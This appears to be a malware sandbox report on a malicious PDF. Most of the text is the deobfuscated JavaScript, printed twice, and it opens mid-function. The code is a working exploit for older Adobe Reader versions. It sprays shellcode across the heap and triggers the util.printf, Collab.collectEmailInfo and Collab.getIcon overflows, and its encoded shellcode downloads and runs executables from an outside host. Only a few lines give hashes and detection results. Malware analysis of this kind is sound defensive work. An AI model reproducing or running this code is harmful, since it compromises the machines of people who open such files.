var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);}
function collab_email(){var shellcode=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u6B2F%u6C69%u676F%u6469%u2E32%u6962%u2F7A%u6F70%u2F6C%u6A62%u3375%u652E%u6578%u0000");var mem_array=new Array();var cc=0x0c0c0c0c;var addr=0x400000;var sc_len=shellcode.length*2;var len=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var count2=(cc-0x400000)/addr;for(var count=0;count<count2;count++){mem_array[count]=yarsp+shellcode;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function collab_geticon(){if(app.doc.Collab.getIcon){var arry=new Array();var vvpethya=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u6B2F%u6C69%u676F%u6469%u2E32%u6962%u2F7A%u6F70%u2F6C%u6F6E%u3375%u652E%u6578%u0000");var hWq500CN=vvpethya.length*2;var len=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+vvpethya;}
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
function pdf_start(){var version=app.viewerVersion.toString();version=version.replace(/\D/g,'');var varsion_array=new Array(version.charAt(0),version.charAt(1),version.charAt(2));if((varsion_array[0]==8)&&(varsion_array[1]==0)||(varsion_array[1]==1&&varsion_array[2]<3)){util_printf();}
if((varsion_array[0]<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){collab_email();}
if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){collab_geticon();}}
pdf_start();
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from combined JavaScript objects at offset 0x36B 5294 bytes
SHA-256: b3c13a0cb337140964ae05828769972e1b4dc6533b8202b6f1fc2e488dcf40d9
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function fix_it(yarsp,len){while(yarsp.length*2<len){yarsp+=yarsp;}
yarsp=yarsp.substring(0,len/2);return yarsp;}
function util_printf(){var payload=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u6B2F%u6C69%u676F%u6469%u2E32%u6962%u2F7A%u6F70%u2F6C%u6C61%u336D%u652E%u6578%u0000");var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
var heapblock=nop+payload;var bigblock=unescape("%u0A0A%u0A0A");var headersize=20;var spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
var fillblock=bigblock.substring(0,spray);var block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
var mem_array=new Array();for(var i=0;i<1400;i++){mem_array[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("E000f",num);}
function collab_email(){var shellcode=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u6B2F%u6C69%u676F%u6469%u2E32%u6962%u2F7A%u6F70%u2F6C%u6A62%u3375%u652E%u6578%u0000");var mem_array=new Array();var cc=0x0c0c0c0c;var addr=0x400000;var sc_len=shellcode.length*2;var len=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var count2=(cc-0x400000)/addr;for(var count=0;count<count2;count++){mem_array[count]=yarsp+shellcode;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function collab_geticon(){if(app.doc.Collab.getIcon){var arry=new Array();var vvpethya=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u6B2F%u6C69%u676F%u6469%u2E32%u6962%u2F7A%u6F70%u2F6C%u6F6E%u3375%u652E%u6578%u0000");var hWq500CN=vvpethya.length*2;var len=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+vvpethya;}
var tUMhNbGw=unescape("	");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
function pdf_start(){var version=app.viewerVersion.toString();version=version.replace(/\D/g,'');var varsion_array=new Array(version.charAt(0),version.charAt(1),version.charAt(2));if((varsion_array[0]==8)&&(varsion_array[1]==0)||(varsion_array[1]==1&&varsion_array[2]<3)){util_printf();}
if((varsion_array[0]<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){collab_email();}
if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){collab_geticon();}}
pdf_start();

Open this report in the interactive analyzer, or submit your own file for analysis.